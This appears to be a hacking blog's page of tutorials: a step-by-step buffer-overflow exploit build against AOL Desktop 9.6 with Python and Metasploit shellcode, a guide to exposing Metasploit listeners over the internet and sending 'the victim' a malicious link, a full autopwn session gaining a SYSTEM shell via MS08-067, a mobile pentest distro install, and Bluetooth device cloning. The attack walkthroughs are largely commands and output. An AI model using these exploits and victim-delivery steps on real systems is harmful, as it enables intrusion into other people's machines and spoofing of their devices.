Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Monday, April 30, 2012

Exploit writing: A basic Idea.


Exploit Writing Made Easier With !pvefindaddr

A few notes before we begin, covering what this paper is about and what it isn’t about:
1. This paper is intended to demonstrate the efficiency of !pvefindaddr.
2. This paper will not explain the exploit till the end, if you want the full exploit go here: http://
www.exploit-db.com/exploits/16107/

Now let’s start!

Required software:
Immunity Debugger
!pvefindaddr
AOL Desktop v9.6

Required knowledge:
Understanding how buffer overflows work.
Exploiting techniques.
A programming language (I use python).
I’ve heard a lot of people complaining about how many apps they must use when writing
exploits, or how time consuming some tasks can be if they are not automated or when trying to
test multiple dll’s for SAFESEH or ASLR, that’s where !pvefindaddr comes in.

What is !pvefindaddr !?
Well in short terms !pvefindaddr is a PyCommand for Immunity Debugger made by
corelanc0d3r which can do almost everything (if not everything) that you would need when
building an exploit.
Here is some helpful information on how to install !pvefindaddr and some basic usage

Ok, let us get started !
Install AOL Desktop v9.6 (A quick note here, if the app doesn’t work properly in Immunity
Debugger you will have to close the debugger, issue CTRL+ALT+DELETE -> Processes and
stop all AOL related processes then run the app).
Now let’s make the exploit skeleton (I won’t remake the full exploit, if you want to check it out it’s
on the top of the page), it will contain two standard headers and between them our buffer, let’s
check it out:

****************************************
#!/usr/bin/python
# The First Header
hd1 = ("\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a"
"\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"
"\x4d\x49\x4c\x59\x3d\x22\x53\x41\x4e\x53\x53\x45\x52\x49\x46\x22"
"\x20\x46\x41\x43\x45\x3d\x22\x41\x72\x69\x61\x6c\x22\x20\x4c\x41"
"\x4e\x47\x3d\x22\x30\x22\x3e\x3c\x41\x20\x48\x52\x45\x46\x3d\x22"
"\x68\x74\x74\x70\x3a\x2f\x2f")
# The Second Header
hd2 = ("\x22\x3e\x74\x65\x73\x74\x3c\x2f\x41\x3e\x3c\x55\x3e\x3c\x42\x52"
"\x3e\x0d\x0a\x3c\x2f\x55\x3e\x3c\x2f\x46\x4f\x4e\x54\x3e\x3c\x2f"
"\x48\x54\x4d\x4c\x3e\x0d\x0a")
payload='\x90'* 6000
exploit = hd1+payload+hd2
try:
file=open('exploit.rtx','w')
file.write(exploit)
file.close()
print 'File created, time to PEW PEW!\n'
except:
print 'Something went wrong!\n'
print 'Check if you have permisions to write in that folder, of if the folder exists!'
****************************************

Generate the file using the exploit and after that open it in AOL Desktop and as we can see we
could overwrite EIP with our ‘\x90’’s:



So what would be next ? Calculating the exact offset until EIP overwrite.

(NOTE: Before we go on, restart AOL and attach it again).
In our debugger we can either click on the PyCommands button and select from the list !
pvefindadrr and then enter the arguments or we can do this directly by entering !pvefindaddr
and the arguments in the command bar at the bottom of the debugger like this:



As you can see it said “check mspattern.txt” so we go in the Immunity Debugger folder and
open up mspatters.txt, copy the pattern in our exploit and regenerate the malicious file.
After opening the malicious file containing our pattern:



We can see that our EIP is 35784734 and we also can see that ESI points in our buffer, now in
order to determine the exact offset we will use another feature from !pvefindaddr. Normally with
metasploit we would try pattern_offset EIP now, well with !pvefindaddr we can actually get more
info, let’s try the findmsp function.


After it is done just open the Log Windows and as we can see, we have some nice information:



So it found the first characters from the patters in davclnt.dll then it checked register addresses,
we have the EIP overwite address beginning at 5384 and the register who points in to the
pattern with the instruction CALL DWORD[ESI+10] (if you check) at 5368 it even checked the
SEH chains to see if it finds the pattern there and we also have the “Walking stack” which if you
haven’t guessed by now it actually tells us when the ESP contains a pointer to our buffer at the position 4360.
This is a nice feature but we have one that does even better, !pvefindaddr also has a function
that runs a findmsp and after that based on the results and on the stack it acutally gives us
information about the type of exploit and how it should be made, let’s check it out.

!pvefindaddr suggest



Sweet huh ?
Now we have the exact offset before the EIP overwrite, we know that ESI points to our buffer
the next normal step would be to get the value of ESI into EIP with a JMP ESI, CALL ESI, etc.
now these are simple instructions we can find them but what if we want to find these instructions
without null bytes, from specific modules, etc. (NOTE: I’m not saying this can’t be done manual,
only saying that it will take more time and this way it’s much easier).
Let’s say we want to make this exploit using an universal address (like the original exploit),
searching for this instruction can take a lot of time, mostly because it’s a very common
instruction, but using !pvefindaddr we can actually search for every JMP ESI instruction from
some specific modules and some specific chatacteristics.
We will use !pvefindaddr to give us a list of all modules and their characteristics, once we have
done this we can view all the modules that the app uses and see which have SAFESEH, ASLR,
etc.:



Once we can see which modules we can use we can start searching for the specific instruction
using the command:

!pvefindaddr j -r ESI -n -o (this might take some time, go get a beer or something.)

This function searches for pointers that jump to a specific register (ESI in our case), the most
common use of this function is when dealing with direct EIP overwrite. The function will look for
any instructions like JMP ESI, CALL ESI combination from non-fixup and non-aslr modules also
the -n flag will not show pointers that contain null bytes and the -o flag will exclude the pointers
in the OS modules (We want to make it universal).
After a little search we find a nice intruction at 20C5CFC0 from aolusershell.dll, this one should
work perfect.
After we are done we can also use compare to check in order to compare some bytes (usually
our shellcode) from a file with some bytes in memory it also compares unicode expanded
instances, ok now we need to make our shellcode binary (only the shellcode), we can just give
the RAW output at Metasploit when making a payload and pipe it to a file like:
msfpayload windows/exec CMD=calc.exe R > shellcode
There is also a nice perl script that shows you how to do it on the !pvefindaddr wiki:


****************************************
my $shellcode="\xcc\xcc\xcc\xcc"; #paste your shellcode here
open(FILE,">c:\\temp\\shellcode.bin");
binmode FILE;
print FILE $shellcode;
close(FILE);
****************************************
We then run the whole exploit (with the shellcode included, without any breakpoints or anything), now that the app has crashed we compare it:

!pve finder compare C:\shellcode

After it is finished we can either view the Log Windows or open compare.txt from the Immunity
Debugger folder:



Now a quick review on what we managed to do in this tutorial:
- We have determined the exact offset before EIP gets overwritten and also a register that
points to our buffer.

- We have found our type of exploit, and some information on how to structure it
- Found out which modules have SAFESEH, ASLR or get rebased
- Found the instruction we needed avoiding these modules and the OS modules aswell
- Checked if our shellcode contains bad characters.
So as you can see we did all the above with just !pvefindaddr and we also managed to save a
good amount of time.

Saturday, January 14, 2012

Metasploit over Internet (Forget the LAN limitations)

Here is the another good tutorial of Metasploit (not by me this time). This article is written by the admin of thawildcard.com. And Thanks to my friend NotieBoie for leading my attention to this problem that if we do some common metasploit attack, it only happens in the LAN (most of the attacks), but now here is the solution.


This tutorial is for people behind a router (local area network/wireless network)

Your router is the gateway to the internet, it holds the external IP address and its job is to route and manage computers in the network. It also has a firewall feature which blocks incoming connections. In order to get connections routed to your computer/machine you will need to configure the router to forward ports to your device.

This can be done by accessing your router via any web browser. Type in the routers IP address in the URL of your web browsers and log in, look for Port forward or Virtual Server.  Different routers have different interfaces so just browse through it until you find that option.

You will need to configure a few things on the port forward/Virtual Server, Give it a service name, IP address in the networks range i.e. 192.168.1.x, the port number that you will be using over metasploit and set the protocol. If you’re going to be using more than one port then add more to the settings and save your router.

Next step is to get the external IP address that your router holds. You can find it usually under status if not you can also go to www.whatsmyip.org and it will show you you’re external IP.

The next step is to configure Backtrack and give it a static IP. Every time your computer connects to the router the router assigns it different IP addresses. In this case go to your Virtual machine if you are running BackTrack on it and right click on the network icon at the bottom of the window. select Network Adapters and make sure its set to Bridge network adapter. You don’t want to be using NAT cause NAT  adds an extra layer of complexity which can make it more likely that the guest will have connectivity issues, especially with the outside world (i.e. the Internet).

In bridged networking, your network card just provides multiple connections to the same network. If your goal is to have your guest behave exactly the same as if you had just plugged another physical computer into your network, you will probably want to use the bridged networking option. So continuing on with the tutorial Select Bridge Network adapter.

Go ahead and open WCID network manager and select properties. Set a Static IP and make sure its the same IP you set on your router. submask is usually 255.255.255.0 on smaller networks. Gateway will be your routers IP address. next set DNS 1 to 8.8.8.8 and DNS 2 to 8.8.4.4 these are Google’s public DNS resolution service you can find more info on this at http://code.google.com/speed/public-dns/ save and connect. The next step is to test your connection open a terminal and ping google.com. Make sure its sending and receiving data packets. If it success’s then great! if not then it could be the VM machine.

I had trouble getting a static IP using VMware workstation on BT 5 R1 64 bit it could set it to static but would not actually connect to the internet.

Now you are almost set.

Fire up metasploit now there is a few ways of doing this.



1. If your using a browser exploit then you would set the SRVHOST to your local static IP and for the PAYLOAD you would use 0.0.0.0 and then give the victim the address of your external ip i.e. http://yourexternalIP:portnumber/dshjhkd38732 . Keep in mind some ISP’s Block port 80 so use an SRVPORT that’s different then port 80



2. If you are just sending a PAYLOAD then you would set that PAYLOAD using your external IP address and then the multi/handler’s LHOST to your internal IP. That way the victim connects straight to your router and your router forwards the connection to your machine while your machine is waiting for the connection.

Here is a short video tutorial using the browser exploit  http://vimeo.com/33604474

Hope this helps. Good Luck and Happy Hacking

Friday, December 16, 2011

Getting Shell by Metasploit+NeXpose


In last post I had told u how to install Nexpose on Backtrack4RC2,today we will see how to use Nexpose through msf.
Metasploit has Nexpose plugin were we can login to Nexpose scan the Target System and import the Scan Results to Metasploit,,then msf will check for the exploits Matching those vulnerabilities and it automatically run those exploits if the target system is vulnerable then get us a Interactive Shell,Lets begin
1)Run the Nexpose scanner
2)start the metasploit
root@bt:/pentest/exploits/framework3# ./msfconsole
msf > db_driver sqlite3
msf > db_create
msf > load nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
msf > nexpose_scan -x 192.168.1.4
msf > sessions -i 1


Above are the total commands run to get the shell by MSF and NeXpose, below is the working.
root@bt:/pentest/exploits/framework3# ./msfconsole
o                       8         o   o
8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8′ 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   ‘Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo’   8  `YooP8 `YooP’ 8YooP’ 8 `YooP’  8   8
..:..:..:…..:::..::…..::…..:8…..:..:…..::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ — –=[ 636 exploits - 319 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11120 updated 17 days ago (2010.11.24)
Warning: This copy of the Metasploit Framework was last updated 2 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://www.metasploit.com/redmine/projects/framework/wiki/Updating
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-]          The database and schema will be created automatically by
[-]          db_connect. If db_connect fails to create the database, create
[-]          it manually with your DBMS’s administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose
____             _     _ _____   _   _     __  __
|  _ \ __ _ _ __ (_) __| |___  | | \ | | ___\ \/ /_ __   ___  ___  ___
| |_) / _` | ‘_ \| |/ _` |  / /  |  \| |/ _ \\  /| ‘_ \ / _ \/ __|/ _ \
|  _ < (_| | |_) | | (_| | / /   | |\  |  __//  \| |_) | (_) \__ \  __/
|_| \_\__,_| .__/|_|\__,_|/_/    |_| \_|\___/_/\_\ .__/ \___/|___/\___|
|_|                                   |_|
[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username kislay…
msf > nexpose_scan -x 192.168.1.4
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 26 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]   192.168.1.4:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos, CVE-2008-4250, CVE-2008-4250, OSVDB-49243, MSB-MS08-067, NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*]   192.168.1.4:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] Meterpreter session 1 opened (192.168.1.7:18282 -> 192.168.1.4:1067) at Sat Dec 11 03:40:01 -0500 2010
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution…
[*] (2/2 [1 sessions]): Waiting on 0 launched modules to finish execution…
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id  Type                   Information                            Connection                                 Via
–  —-                   ———–                            ———-                                 —
1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TESTBOX-85474D5  192.168.1.7:18282 -> 192.168.1.4:1067  exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
msf > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1040 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . :
IP Address. . . . . . . . . . . . : 192.168.1.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
C:\WINDOWS\system32>exit

Installing NeXpose Community Edition in BackTrack 4


What is NeXpose?
NeXpose is Vulnerability Scanner which Identifies vulnerabilities across networks, operating systems, databases, Web applications and a wide-range of system platforms through an integrated, intelligent scan engine, Rapid7 NeXpose prioritizes vulnerabilities using exploit risk scoring. As a result, NeXpose customers benefit from lower risk exposure and remediation costs.
Below are the Steps to install NeXpose in BackTrack4-RC2
1)Update the BT4
apt-get update
apt-get upgrade
2)Below are few Packages which required to run NeXpose
root@bt:~#apt-get install screen,libstdc++5,xvfb,xfonts-base,xfonts-75dpi,xserver-xorg,libxtst6,libxp6
3)now register and get the free Community Edition of NeXpose
4)u will get a mail regarding the License and Download instructions,in that download the below file
NeXpose for Linux – 32-bit edition
5)once u download go to the path and execute below command
chmod +x NeXposeSetup-Linux32.bin
./NeXposeSetup-Linux32.bin -console
next follow the instructions on the Screen it takes few minutes to configure and installing the scanner
6)once evry thing is done now using firefox use the below URL and login withe the given credentials
7)Once u login u will be asked to enter the License once done now you are ready to scan.





Thursday, September 29, 2011

Installing NeoPwn in Nokia N900

Hey guys, in my last article I've told you about NeoPwn. Today I'm gonna tell you how to install it in Nokia N900. As you guys know (who own Nokia N900) that it is a linux based mobile phone and having the ARM Processor, so we have a console in it. Today we do all the installation by using console, so mind the spellings.. lolz.. :P

Step 1: Install the following packages
apt-get install bash pymaemo-optify python2.5-qt4 python2.5-sip4 rootsh

Step 2: Create a directory for the neopwn setup files
mkdir /home/kislay/neo

Step 3: Copy files.tar.gz from your Pc/Mac to the setup folder
scp /files.tar.gz root@(Enter N900 IP):/home/kislay/MyDocs/neo

Step 4: Change to that directory
cd /home/kislay/neo/

Step 5: Extract the NeoPwn setup files
tar -zxvf files.tar.gz

Step 6: Copy the files to their required directories
cp neopwn /usr/bin/
cp neopwn.sh /usr/bin/
cp neopwn.png /usr/share/pixmaps/
cp neopwn.desktop /usr/share/applications/hildon/

Step 7: Restart hildon-home
killall hildon-home

Step 8: Setup the control panels User Interface
mkdir -p /opt/neopwn
tar zxvf control-panel-ui.tar.gz -C /opt/neopwn/

Step 9: Install the kernel drivers
dpkg -i kernel-power_2.6.28-maemo40-wl1_armel.deb
dpkg -i kernel-power-modules_2.6.28-maemo40-wl1_armel.deb

Step 10: Flash the N900
dpkg -i kernel-power-flasher_2.6.28-maemo40-wl1_armel.deb

(Accept the prompt on screen & reboot immediately)

Step 11: Format your MicroSd ready NeoPwn files
mkfs -t ext3 /dev/mmcblk1p1


Now Reboot
(Extract all the files in the w00t.tar.gz to your MicroSd card)


Step 12: Make a directory for MicroSd card to be mounted on tar.gz
mkdir /.neopwn

Step 13: Mount the Microsd card on the /.neopwn directory
mount -t ext3 /dev/mmcblk0p5 /.neopwn/ -o noatime

Step 14: Change to the /.neopwn Directory
cd /.neopwn

Step 15: Extract the files
tar -zxvf w00t.tar.gz

Step 16: synchronize (Run twice just to make sure)
sync


Now try it yourself, I've explained each and every step, but I know there are some kind of people who don't
have cure. So feel free to ask any ques.

Penetration Testing by Nokia N900

So I'm back with more Mobile fun. Let's talk about Penetration Testing. You guys are aware of this process, right? So what's new in this article?
We do penetration testing with laptops and desktops. Have you ever tried to do penetration testing by using Nokia N900. We can do this by using NeoPwn, it's like Backtrack, means you'll get installed some tools and scripts that are used in Backtrack.Like:

Metasploit
Airmon
Grimwepa
Karmetasploit
SET
Sidejack
Tor
etc...


All of these packages are included in NeoPwn.
So how we can get it and what is it?
It is a Linux based destro for mobile which are based on Linux. Once you install it you can do whatever you want to do. I only tested it in N900, but you can try it for Android.

Download Here: NeoPwn v2
Download Torrent: NeoPwn v2

Tuesday, September 27, 2011

Cloning of a bluetooth device

Ok, So here comes Linux.

Have you ever gave a thought that you can clone a Bluetooth device by using Linux.
Here I will explain you that you can.

Requirements: A workstation running with Linux.
                      A Bluetooth device (Target)
                      spooftooph-0.4.tar.gz
                      And most important thing: A well working Brain. (Lolz..)

Lets begin some real things.

Description
Spooftooph is designed to automate spoofing or cloning Bluetooth device Name, Class, and Address. Cloning this information effectively allows Bluetooth device to hide in plain site. Bluetooth scanning software will only list one of the devices if more than one device in range shares the same device information when the devices are in Discoverable Mode (specificaly the same Address).



Spooftooph has several options for Bluetooth device information modification:

   Option 1: Continuously scan an area for Bluetooth devices. Make a selection on which device in the list to clone. This option also allows for logging of the scanned devices.

   Option 2: Randomly generate and assign valid Bluetooth interface information. The class and address are randomly generated and the name is derived from a list of the top 100 most common names in US and the type of device. For example if the randomly generated class is a phone, SpoofTooph might generate the name "Bob's Phone".

   Option 3: Specify the name, class, and address a user wishes for the Bluetooth interface to have.

   Option 4: Read in the log of previous scans and select a device to clone. Users can also manually add Bluetooth profiles to these log files.

   Option 5: Incognito mode. Scan for and clone new devices at user assigned intervals.


Usage


To modify the Bluetooth adapter, spooftooth must be run with root privileges. Spooftooph offers five modes of usage: 

1) Specify NAME, CLASS and ADDR. 

> spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x1c010c 

2) Randomly generate NAME, CLASS and ADDR. 

> spooftooph -i hci0 -r 

3) Scan for devices in range and select device to clone. Optionally dump the device information in a specified log file. 

> spooftooph -i hci0 -s -d file.log 

4) Load in device info from log file and specify device info to clone. 

> spooftooph -i hci0 -l file.log 

5) Clone a random devices info in range every X seconds. 

> spooftooph -i hci0 -t 10 


I hope it will help you in some part of your life. :P
 

The Hacker News